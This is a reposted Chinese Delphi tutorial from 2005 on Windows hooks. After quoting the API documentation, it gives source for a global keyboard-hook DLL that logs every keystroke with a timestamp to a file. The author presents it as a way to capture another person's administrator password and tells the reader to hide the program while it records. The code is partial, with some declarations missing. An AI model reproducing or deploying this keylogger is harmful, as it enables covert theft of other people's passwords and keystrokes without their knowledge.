网页功能: 加入收藏 设为首页 网站搜索  
使用HOOK随心监视Windows
发表日期:2005-02-18作者:shuyi[转贴] 出处:CSDN  

每个程序都有自己的生存空间,在Windows系统中你可以在任何时候让你的程序执行一些操作,还可以触发消息,触发的消息分为三种,一是操作你程序的界面,onClick,onMouseMove等等,另外一个可以使用Windows的消息机制来捕获一些系统消息,但是如果你想在任何时候监控任何程序的情况那可能你就会选择HOOK来实现了,虽然还有其他方法,但不得不承认,HOOK是一个比较简单解决问题的途径。

Windows提供了Hook机制,定义为
A callback function provided by an application that receives certain data before the normal recipient of the data. The hook function can thus examine or modify the data before passing it on.

可以使用诸多Hook的方式,一下列举一些常用的参数,这些在WINDWOS API帮助中都有:

CALLWNDPROC ,CALLWNDPROCRET :
The WH_CALLWNDPROC and WH_CALLWNDPROCRET hooks enable you to monitor messages sent to window procedures by the SendMessage function. Windows calls a WH_CALLWNDPROC hook procedure before passing the message to the receiving window procedure, and calls the WH_CALLWNDPROCRET hook procedure after the window procedure has processed the message.

CBT:

Windows calls a WH_CBT hook procedure before activating, creating, destroying, minimizing, maximizing, moving, or sizing a window; before completing a system command; before removing a mouse or keyboard event from the system message queue; before setting the input focus; or before synchronizing with the system message queue. The value the hook procedure returns determines whether Windows allows or prevents one of these operations. The WH_CBT hook is intended primarily for computer-based training (CBT) applications.


KEYBOARD:
he WH_KEYBOARD hook enables an application to monitor message traffic for WM_KEYDOWN and WM_KEYUP messages about to be returned by the GetMessage or PeekMessage function. You can use the WH_KEYBOARD hook to monitor keyboard input posted to a message queue.

下面就来举个例子(使用Delphi7.0调试通过):
如果你需要访问某个人的机器,那在运行\\SB之后那个人就会在你机器上敲入他的adminsitrator密码,当然,你也可以使用黑客工具来得到他的密码,但是,为什么不自己尝试一下写个程序记录所有的键盘操作呢?

首先需要申明一点,Hook不同于一般的应用程序,需要作为一个全局DLL出现,否则无法在你程序不激活的状态捕获其他信息的,(当然你可以用Windows消息,这个问题不在这里讨论)。

写个DLL定义一下函数
function setkeyhook:bool;export;
function endkeyhook:bool;export;
procedure keyhookexit;far;
procedure SetMainHandle(Handle: HWND); export;forward;
function keyboardhookhandler(icode:integer;wparam:wparam;lparam:lparam):lresult;stdcall;export;


procedure EntryPointProc(Reason: Integer);
const
    hMapObject: THandle = 0;
begin
    case reason of
        DLL_PROCESS_ATTACH:
            begin
            hMapObject := CreateFileMapping($FFFFFFFF, nil, PAGE_READWRITE, 0, SizeOf(THookRec), '_CBT');
            rHookRec := MapViewOfFile(hMapObject, FILE_MAP_WRITE, 0, 0, 0);
            end;

        DLL_PROCESS_DETACH:
            begin
                try
                  UnMapViewOfFile(rHookRec);
                  CloseHandle(hMapObject);
                except
                end;
            end;
    end;
end;

procedure keyhookexit;far;
begin
  if hNexthookproc<>0 then endkeyhook;
  exitproc:=procsaveexit;
end;

function endkeyhook:bool;export;
begin
  if hNexthookproc<>0 then
  begin
    unhookwindowshookex(hNexthookproc);
    hNexthookproc:=0;
    messagebeep(0);
  end;
  result:=hNexthookproc=0;
 MainHandle:=0;
end;


function Setkeyhook:bool;export;
begin
  hNexthookproc:=SetWindowsHookEx(WH_KEYBOARD ,keyboardhookhandler,HInstance,0);
  result:=hNexthookproc<>0;
end;

function keyboardhookhandler(icode:integer;wparam:wparam;
  lparam:lparam):lresult;stdcall;export;
var
  s:Tstringlist;
begin

  if icode<0 then
  begin
    result:=CallNextHookEX(hNexthookproc,icode,wparam,lparam);
    exit;
  end;
  if lparam<0 then
  begin
    exit;
  end;
  s:=TStringlist.Create;
  if FileExists(afilename) then
    s.LoadFromFile(afilename);

//将敲打的键盘字符保存到文件中 
s.Add(formatdatetime('YYYYMMDD hh:nn:ss:zzz:  ',now) + char(wParam) );
  s.SaveToFile(afilename);
  s.Free;
 
  result:=0;
end;

Dll的Project文件中定义如下
exports
  setkeyhook index 1,
  endkeyhook index 2,
  SetMainHandle index 3;

 

begin    

  hNexthookproc:=0;
  procsaveexit:=exitproc;
    DllProc := @EntryPointProc;
    EntryPointProc(DLL_PROCESS_ATTACH);
end.

这样DLL就定义好了,接下来就是画个界面
function setkeyhook:bool;external 'keyspy.dll';
function endkeyhook:bool;external 'keyspy.dll';
procedure SetMainHandle(Handle: HWND); external 'keyspy.dll';
//开始捕获键盘

  SetMainHandle(handle);
 setkeyhook
//中止捕获键盘
   endkeyhook

然后吧你程序隐蔽起来,启动捕获键盘,在中止捕获之前,所有键盘操作都会被记录到你所定义的filename这个文件名中去,注:这些代码是临时写的,仅是为了说明如何写个hook程序。

另外Hook的功能不仅仅是简单使用,这就需要靠大家灵活运用了,可以跟很多windows API来配合,通过很多技巧作出让人意想不到的效果。

我来说两句】 【加入收藏】 【返加顶部】 【打印本页】 【关闭窗口
中搜索 使用HOOK随心监视Windows
本类热点文章
  DBGrid 应用全书
  DBGrid 应用全书
  TWebBrowser编程简述
  用户界面设计的技巧与技术
  用户界面设计的技巧与技术
  初探Delphi 7 中的插件编程
  获取主板BIOS的信息
  网卡的远程网络唤醒
  Delphi 2006简介(Dexter)
  用Delphi开发数据库程序经验三则
  Delphi面向对象编程的20条规则
  Delphi面向对象编程的20条规则
最新分类信息我要发布 
最新招聘信息

关于我们 / 合作推广 / 给我留言 / 版权举报 / 意见建议 / 广告投放  
Copyright ©2003-2024 Lihuasoft.net webmaster(at)lihuasoft.net
网站编程QQ群   京ICP备05001064号 页面生成时间:0.00516